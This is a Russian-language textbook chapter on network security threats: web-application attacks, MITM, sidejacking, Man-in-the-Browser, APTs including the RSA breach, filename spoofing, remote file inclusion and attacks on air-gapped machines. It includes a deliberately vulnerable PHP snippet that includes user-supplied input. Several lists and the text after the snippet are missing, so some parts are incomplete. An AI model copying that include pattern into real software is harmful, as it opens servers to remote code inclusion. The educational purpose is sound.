Переполнение буфераDoSИспользуя уязвимость WEB-формы, хакер может перегрузить сервер избыточной информацией, блокируя или даже разрушая работу сайта.
Cross-site
Scripting
Нападение/
кража
идентификационных
данных
Хакер может внедрить вредоносный код на WEB-сайт, который исполняется, как если бы он был прислан от адресата. Это дает хакеру полный доступ к извлекаемой информации.
Использование люков и отладочных опцийЗлоупотребление/
посягательство
Разработчики часто встраивают в программу отладочные опции. Если они забывают закрыть эти уязвимости, хакеры могут легко получить доступ к критической информации.
Принудительный просмотрВзлом и проникновение Хакер может взломать приложение и получить доступ к информации, которая должна быть недоступной, например, к журнальным или конфигурационным файлам или к исходному коду приложения.
Расщепление HTTP-откликаPhishing,
кража индивидуальных
характеристик и e-граффити
Хакеры могут фальсифицировать содержимое WEB-кэша как на самом сайте, так и в промежуточных системах, что позволяет им изменять WEB-страницы в кэше и выполнять различные атаки против пользователей. Такая тактика дает хакерам прекрасную возможность скрыть свою активность.
Уловка/троянский коньВредоносные разрушенияХакеры могут скрыть вредоносные программы внутри троянского коня, которые разрушат работу сайта
Использование некорректной конфигурации третей стороныВредоносные разрушения Хакеры часто заходят на общедоступные сайты, которые уведомляют об уязвимостях и рассылают пэтчи. Используя известные некорректости конфигурации, хакеры могут в принципе создать новую базу данных, которая заместит существующую.
Использование известных уязвимостейЗахват управления сайтомНекоторым WEB-технологиям присущи слабости, которые хакер может использовать. Например, некоторые хакеры могут реквизировать весь сайт, так как они знают, как получить административный пароль через Microsoft Active Server Page (ASP).
Использование уязвимостей XML и WEB-сервисовВредоносные разрушения Некоторые встроенные и внешние инфраструктуры и протоколы, которые поддерживают приложения, базирующиеся на XML, могут внести уязвимости в структуру, протокола и содержимое сайта. Более того, некоторые типы атак, включая entity expantion, XPath injection, SQL-injection и многие DoS-атаки, используют богатство и гибкость XML для разрушительных вторжений.

Наиболее эффективной может считаться многоуровневая защита:

Основные сетевые угрозы предприятию представлены на рис. 11 (см. A Guide to Delivering Dynamic Protection in an Evolving Threat Environment (IDC)). Из рисунка видно, что основную долю составляют троянские кони, вирусы, черви, spyware и SPAM. Эти данные относятся к 2006 году, но за 2007 год ситуация изменилась незначительно.

Рис. 11. Основные угрозы безопасности предприятия


На рис. 12 представлена оценка компанией Novell причин потери критических данных (смотри Novell ZENworks Endpoint Security Management: Total Control from a Single Console). Кражи laptop и компактных накопителей (thumb drive), а также другхе устройств памяти состаляют основную долю - 49%. Ситуация усложняется из-за того, что 53% компаний в случае утери или кражи носителя информации не могут (или не хотят) сказать какие данные утрачены.

Рис. 12. Соотношения причин потери критических данных


Кроме ограничительных списков для внешних объектов пора вводить ограничительные списки для внутренних объектов, например, запрещающих копировать некоторые файлы.

В публикации Protecting Against the New Wave of Malware (An Osterman Research White Paper - Sunbelt Software) представлен список наиблоее опасных сетевых угроз для 2008 года - рис. 13 .

Рис. 13. Доля различных видов атак для успешных вторжений (2008 год)


Наиболее важным критерием любого бизнеса является прибыльность и киберпреступления не являются исключением.
Е. Касперский.

Переход хакеров в сферу бизнеса вынудил их оптимизировать свою деятельность, производить оценку эффективности тех или иных методов атак и вторжений, осуществлять статистический анализ всех сторон своей деятельности. Этими данными можно пользоваться и при разработке средств противодействия.

Человек посередине (Man-In-The-Middle = MITM)

Этот вид атаки используется для перехвата конфиденциальной информации, а также для подмены открытых ключей в системе двухключевой криптографии. Но данная схема атаки может быть применена в качестве составной части многих других схем атаки и вторжения (смотри, например, варианты атак протокола ТСР). Для реализации атаки MITM хакеру не обязательно нужно находиться на пути между объектами А и В. Он может создать фальсифицированный маршрутизатор и перенаправить информационный поток на свою машину. Если же не ставить целью конкретные объекты А и В, то задача многократно упрощается.


Если хакер умудрится вставить свою ЭВМ в разрыв канала, соединяющего субъектов А и В, у него появляется возможность перехватывать в том числе и шифрованные сообщения. Пусть субъект А сформировал пару ключей К и К (ключ с индексом 2 является секретным), аналогичную пару ключей сгенерировал субъект В (К и К). Хакер же тем временем подготовил две пары ключей (К1ХА2ХА и К1ХВ2ХВ). Когда субъект А пошлет открытый ключ К субъекту В, хакер его подменит ключом К1ХА. Аналогичную процедуру он проделает с ключом К, посланным от В к А. Теперь сообщение А к В, зашифрованное с помощью ключа К1ХА будет послано В. Хакер его перехватывает, дешифрует с помощью ключа К2ХА, шифрует с помощью ключа К и посылает В. Субъект В, получив послание, дешифрует его с помощью своего секретного ключа . Аналогичная процедура будет проведена и при посылки сообщения от В к А. В сущности единственным параметром который изменится существенным образом будет время доставки сообщения, так как это время будет включать дешифровку и повторную шифровку сообщения. Но при использовании быстродействующей ЭВМ и при работе с традиционной электронной почтой это может оказаться незаметным. Понятно, что между А и В появится дополнительный шаг (hop). Но и это может быть легко замаскировано под прокси сервер или Firewall.

После выяснения в 2008 году слабости алгоритма MD5 появилась возможность формирования фальшивых сертификатов, что существенно понижает безопасность сетевых систем.

SideJacking (подключение сбоку)

Cookies могут быть посланы с флагом “secure”, который указывает браузеру переслать его с использованием HTTPS (TLS/SSL) сессии. WEB-сайты обычно шифруют процесс авторизации, но не используют флаг secure для cookies сессии. Атакер, мониторирующий открытую сеть, может видеть не только данные, пересылаемые между клиентом и сервером, но также незащищенных cookies. Данные из cookie могут использоваться для обмана пользователя посредством атаки, называемой "подключением сбоку" (sidejacking), которая является разновидностью перехвата сессии (session hijacking). Перехват незащищенного cookie может быть осуществлен, например, sniffer'ом для беспроводных каналов. Многие сетевые сервисы тип Gmail, Facebook, MySpace и др. использует защищенный порт для входа (HTTPS:// работает с TLS/SSL), но после установления сессии последующий обмен производится открытыми кодами. Для обеспечения безопасности используется идентификатор сессии (session ID). Этот ID является случайной строкой, передаваемой с данными с cookie. Получив этот ID, хакер может, маскируюсь под настоящего пользователя, модифицировать аккаунт по своему усмотрению. Перехват незашифрованных cookie позволяет хакеру выяснить имена активных пользователей и сервисы, ими используемые. Следует признать, что экономия вычислительных ресурсов за счет отключения криптозащиты в пределах сессии не может быть признана разумной.

Атака Man-in-the-Browser (MitB)

Атака MitB (Man-in-the-Browser, Philipp Guhring 2005 год) представляет собой троянского коня, которым заражается WEB-браузер, и который может модифицировать страницы и содержимое транзакций. Причем все это делается невидимым образом для пользователя и приложения машины. Атака оказывается успешной даже при наличии SSL/PKI или многофакторной аутентификации. MitB использует продвинутые возможности браузера (такие как Browser helper Objects, расширения и пользовательские скрипты). Обычно он не обнаруживается антивирусными программами. Этот вид атаки особенно опасен для банковских операций. Минимизировать угрозу можно загружая ОС (Linux) с CD или флэш-памяти. Не рекомендуется иметь на машине почтовых приложений и вообще число приложений должно быть минимизировано. Смотри Michael Kassner, "Crimeware:Looking for solutions".

Атаки финансовых объектов

Еще год-три назад прямые атаки на финансовые учреждения были редкостью, если не считать, конечно, атаки типа phishing. К 2009-му году ситуация начала меняться и не в лучшую сторону, и это несмотря на массовое внедрение многофакторной аутентификации. Примером атак такого типа можно назвать Bebloh Trojan, зарегистрированный в Германии в 2009 году. Это достаточно изощренный вид атаки, относящейся к разновидности "Man-in-the-browser". Троянский конь в этом виде атаки загружается с привлечением метода "drive-by-download". Атака предпринимается уже после завершения аутентификации сессии. При этом модифицируются данные, посылаемые в финансовое учреждение. Информация, поступающая от финансового учреждения браузеру, также модифицируется, чтобы пользователь не мог ни о чем догадаться. Вредоносная программа может отслеживать денежный баланс клиента и снимать с его счета только определенный процент имеющейся суммы.

Crapware

Crapware - не является, строго говоря, вредоносным кодом. Crapware - это программа, загруженная на машину без ведома хозяина. Чаще всего это делается для распространения рекламы. Но эта программа потребляет ресурсы машины, да и в ее благопорядочности нельзя быть уверенным. По этой причине лучше от нее избавиться, благо существуют общедоступные, бесплатные утилиты, которые способны выявить и удалить crapware с вашей машины. Чаще такие программы выявляются в ОС Windows.

Grayware

Если приложение классифицируется как раздражающее или работающее в нежелательном режиме, но не являющееся вредоносным, оно называется Grayware. По смыслу такие приложения можно, пожалуй, отождествить с выше описанным Crapware, но они могут быть и не столь безобидными. Этот тип приложений классифицирован в 2004 г. Обычно Grayware может реализовать следующие функции:

Скрытые угрозы безопасности

Любые отклонения в поведении машины или сети должны вызывать пристальное внимание. Ниже в таблице представлены наиболее неприятные нарушения безопасности информационной системы, которые могут возникнуть из-за отсутствия постоянного внимания персонала (см , The Ghost in the Machine: A CCSS White Paper. Примеры, представленные ниже в таблице не перекрывают все возможные варианты, но дают представление о проблеме. Но грамотная настройка журнальных файлов и их обработка в реальном времени являются универсальными средствами обеспечения безопасности.

Исходные обстоятельства Потенциал воздействияРешение проблемы
Нарушение авторизации
  • Приложение компьютера пытается получить доступ к IFS (Industrial and Financial Systems), но пользователь не авторизован для этого файла
  • Приложение компьютера сконфигурировано для произвольного числа попыток и при зацикливании возможна генерация сотен тысяч вариантов
  • Пользователи жалуются на медленный отклик
  • Операторы видят на экране WRKACT-JOB занятость ЦПУ на уровне 100%, но не видят задач, которые занимают большие ресурсы процессора.
  • Необходимы дополнительные издержки, чтобы уменьшить потери пользователей
  • Производительность падает, издержки растут
Мониторирование журнальных файлов безопасности в реальном времени
  • Преобразование журнальных записей в сообщения
  • Нарушение авторизации воспринимается как уязвимость безопасности и передается персоналу для немедленного реагирования
  • Файл, размещенный в IFS, а рассматриваемый объект передается соответствующей структуре.
  • Использование ЦПУ системы уменьшается
Изменение параметров
  • Администратор изменяет описание задания, переформирует очередь, но забывает вернуть конфигурационные параметры в исходное состояние
  • Нарушение остается незамеченным и никаких уведомлений не генерируется, так как они находятся в очереди задач, не связанных с субсистемой
  • В результате поддерживается критическое заполнение буфера заданий в очереди в процессе обслуживания запроса системой
  • Магазины, торгующие в розницу не получают своевременно заказанные товары и несут потери ежедневной выручки
Мониторирование журнальных файлов безопасности в реальном времени
  • Преобразование записей журнальных файлов в сообщения в реальном масштабе времени
  • Изменение параметра воспринимается как уязвимость безопасности и о чем персонал немедленно информируется
  • Справочное уведомление сообщает время, имя пользователя, прежнее значение и новую величину, так что могут быть предприняты немедленные действия, прежде чем задания будут блокированы
Угрозы через FTP
  • Должен быть предоставлен доступ стороннему персоналу для обеспечения поддержки работы системы
  • Осуществлен доступ к платежному файлу
  • Используется альтернативный платежный файл и необходимо полное исследование ситуации
  • Содержимое журнального файла не помогает идентифицировать причины
Мониторирование FTP в реальном времени
  • Мониторирование FTP в реальном времени показывает, кто осуществляет доступ к файлам приложения с помощью FTP и какие команды они используют
  • Могут быть предприняты немедленные действия, чтобы закрыть уязвимость
  • Имеются журнальные файлы для выполнения полного независимого расследования
Неактивный Firewall
  • Предоставлен доступ сторонней организации для поддержания работы через FTP, когда Firewall оказался отключен
  • Чувствительные данные клиента уязвимы для атаки, или для некорректного использования
  • Последствия могут привести к долговременному подрыву репутации фирмы
Мониторирование сети в реальном времени
  • Критические элементы, такие как Firewall, нужно мониторировать без выходных, круглые сутки
  • Пассивный статус Firewall идентифицируется и все риски безопасности, такие как открытое FTP, могут быть блокированы вплоть до восстановления работы Firewall
  • Гибкое мониторирование может быть распространено на любые устройства, имеющие IP-адрес, включая другие информационные серверы специфицированные персональные компьютеры (напр. CEO - Chief Executive Officer), базовые машины ВЦ и другие серверы или маршрутизаторы.

Фальсификация имен файлов

В последнее время хакеры, используя управление чтением справа-на-лево и наоборот пытаются ввести в заблуждение пользователя относительно характера файла в приложении, например, написано: CORP_INVOICE_08.14.2011_Pr.phylexe.doc, а на самом деле файл имеет имя: CORP_INVOICE_08.14.2011_Pr.phylcod.exe ( "cod.exe" было превращено в "exe.doc", а файл на самом деле является исполняемым, а не текстовым ).

Атаки APT

Особый класс атак образуют APT (Advanced Persistent Threat; см. http://en.wikipedia.org/wiki/Advanced_persistent_threat, а также Advanced Persistent Threats and other Advanced Attacks). Эти программы создают профессионалы, имеющие поддержку серьезных фирм или даже правительств. Одиночным энтузиастам тут делать нечего. Как правило, это целевые атаки. Целью таких атак обычно является шпионаж, реже саботаж, но и кражами данных на продажу атакеры не брезгуют. APT становится серьезной угрозой для всех крупных корпораций, но может представлять опасность экономическим интересам целых государств, таких как Великобритания. Примером APT можно считать компьютерного червя Stuxnet. Этот червь использует уязвимость программного контроллера оборудования (Siemens), а также атака, известная как операция Аврора (Aurora), предпринятая против 34 компаний, включая Google и Adobe. Ниже предлагается описание основных особенностей APT:

Программа Stuxnet (2007) на момент создания была, пожалуй самой сложной, она использовала несколько уязвимостей, которые были ранее неизвестны. К началу 2013 года появилось большое число модификаций этого кода.

В простейшем варианте будущий атакер сначала собирает данные о персонале организации, названиях проектов, e-mail адресах, организационной структуре компании. Эти данные позднее используются в почтовом сообщении, адресованном одному или нескольким сотрудникам, чтобы убедить их в том, что это корпоративное сообщение и переадресовать их на вредоносный сайт. Отправителем проставляется сетевой администратор, WEB-master или один из знакомых коллег адресата.

Позднее эта технология совершенствовалась (см. "Stuxnet-like malware highlights need for skills and vigilance", Warwick Ashford, 24 November 2014). Появилась, например, версия троянского коня Backdoor.Regin, которая являлась своего рода шедевром программирования. Служебные файлы и некоторые секции исполняемого кода криптографичеси защищены. Программа была использована для шпионажа против правительственных организаций.Среди мишеней атаки этим кодам организации из России (28%), Саудовской Аравии (24%), Ирландии (8%) и Мексики (9%). Далее следуют структуры из Афганистана, Ирана, Бельгии, Австрии и Пакистана (~5%).

На рис. 13A показана схема атаки Styxnet

Рис. 13A.


Ниже приведенные примеры из статьи компании HP об RSA Breach of 2011 (The Next Generation IPS. Comprehensive Defense Against Advanced Persistent Threats).

Сначала атакер посылает почтовое сообщение со строкой в поле subject “2011 Recruitment Plan” четырем служащим EMC, родительской компании RSA (рис. 14). Почтовое сообщение выглядит, как посланное от webmaster домена Beyond.com (сайт подбора персонала).

Рис. 14.


Один из служащих извлек сообщение из своего ящика, прочитал его (“I forward this file to you for review. Please open and view it”) и открыл файл приложения Microsoft Excel file “2011 Recruitment plan.xls.” Файл Excel оказался пустым, за исключением небольшого символа в одной из ячеек (рис. 15).

Когда страница EXEL открылась, о произошло обращение к flash-объекту, была реализована уязвимость Adobe Flash (CVE-2011-0609), которая позволила загрузить троянского коня с удаленным доступом (RAT), называемым Poison Ivy, в систему служащего (рис. 15).

Рис. 15.


На фазе эксплуатации атакер выполняет следующие операции:

На завершающей фазе проникновения атакер осуществляет следующее:

Смотри HP TippingPoint Next Generation Intrusion Prevention System (NGIPS).

Атаки APT предпринимались, начиная с 2006г, против Google (Aurora), Adobe и еще 20-30 компаний. Наиболее эффективным способом противодействия атакам APT является блокировка связи между скомпрометированной системой и атакером. Необходим глубокий мониторинг, как входящего, так и исходящего трафика как для e-mail, так и WEB-обменов.. APT могут проникать через Firewall за счет встраивания эксплойтов в данные, передаваемые посредством разрешенных протоколов. Стандартные IDS/IPS против APT неэффективны, так как APT обычно использует вредоносные коды "нулевого дня" (APT практически всегда уникальны).

Начиная с 2002 года появилась еще одна разновидность атаки, сходная по названию с APT - AVT - Advanced volatile threat. Эти вредоносные коды обычно разиещаются в оперативной памяти (а не на жестком диске). Эту угрозу нельзя выявить сканируя файловую систему.

Вредоносные коды часто внедряются в файлы: svchost.exe, iexplore.exe, iprinp.dll, and winzf32.dll. Атака APT обычно включает в себя несколько этапов:

  1. Разведка (получение данных о системе и ее пользователях).
  2. Вторжение в сеть (это может делаться с использованием фишинга в отношении сотрудников организации).
  3. Формирование “черных ходов” в систему
  4. Получение параметров аутентификации легальных пользователей.
  5. Установка необходимых программных модулей
  6. Получение высокого уровня доступа и отбор нужных файлов.
  7. Если атакер подозревает о своем детектировании, он меняет методику и повышает скрытность.

RFI-атака. Вставление удаленного файла

Атака типа RFI чаще всего предпринимается против WEB-серверов, см. Remote file inclusion. При этом обычно используется скрипт на атакуемом сайте. Уязвимость связана с недостаточно тщательной проверкой параметров скрипта, поступающих извне. В случае PHP главной причиной является недостаточный контроль значений внешних переменных, таких как $_GET, $_POST, $_COOKIE. Язык PHP имеет директиву allow_url_fopen, и, если она сделана допустимой, то файловой системе разрешается использовать URL, который позволяет системе брать данные из удаленного источника. Ниже приведены примеры, взятые из wikipedia (см. вышеприведенную ссылку).

Рассмотрим PHP-скрипт (который включает файл, специфицированный в запросе):

<?php
   $color = 'blue';
   if (isset( $_GET['COLOR'] ) )
      $color = $_GET['COLOR'];
   include( $color . '.php' );
?>
<form method="get">
   <select name="COLOR">
      <option value="red">red</option>
      <option value="blue">blue</option>
   </select>
   <input type="submit">
</form>

Разработчик предполагал использование в качестве опций только blue.php и red.php. Но кто-то может вставить произвольные значения в COLOR, появляется возможность вставить код из файлов:

Объем рынка компьютерных преступлений в России достигает 1 млрд долл в год (2011 год).

Представители разведки США считают, что основной угрозой для США сегодня являются кибер атаки (James Clapper, руководитель национальной безопасности администрации Обамы и Robert Mueller, директор ФБР).

Несанкционированный доступ в машины, отключенные от Интернет

Большинство пользователей Интернет убеждено, что машина, неподключенная к какой-либо сети, находится вне опасности. Это не всегда так.

Ваш компьютер может быть внутри цилиндра Фарадея за 3-метровой бетонной стеной, с автономным источником питания и все-же он может оставаться уязвимым даже в отсутствии в помещении микрофонов, телефонов, камер наблюдения и пр. (см. "Are sound attacks extracting decryption keys an enterprise threat or farce?", Nick Lewis, Enterprise Threats). Разумеется, этот уровень угроз существенен только для защиты государственных тайн. Исследования показали, что при выполнении определенных математических операций, компьютер генерирует детектируемый , хорошо структурируемый шум. Этот шум может регистрироваться на расстоянии примерно 13 футов. Это позволило исследователям извлечь из laptop 4096-битовый ключ RSA.

Выяснилось, что можно управлять машиной, отключенной от Интернет. Для этого машина должна быть заражена определенным вредоносным кодом и подключена к сканеру или многофункциональному принтеру (см. "All-in-one printers can be used to control infected air-gapped systems from far away", Lucian Constantin, IDG News Service, October 16, 2014). Для управления используются вспышки видимого или инфракрасного света, направленные на покрывающий экран сканера. Выяснилось, что такие вспышки генерируют серию белых линий на темном фоне. Причем их толщина зависит от длительности вспышек света. Используя последовательность подобных вспышек, можно передать сканеру двоичный код. Вредоносная программа может периодически в определенное время, например, ночью, запускать процедуру сканирования. Выяснилось, что несколько сот бит данных может быть передано за одну операцию сканирования. Исследователи успешно опробовали атаку при расстоянии 200, 900 и 1200 метров до управляемого компьютера. Эксперимент был выполнен в Beersheba в Израиле. Для передачи вспышек использовался лазер. Подняв мощность лазера можно увеличить расстояние управления до 5 км.

Полезные ссылки


На сервере US-CERT можно найти много других полезных материалов и обзоров по тематике сетевой безопасности, в частности, о пробеме инсайдерских атак. Проблема инсайдеров должна быть одним из наиважнейших пунктов политики безопасности любой организации.


   UP: 6.3 Система Firewall
    Next: 6.3.2 Средства противодействия атакам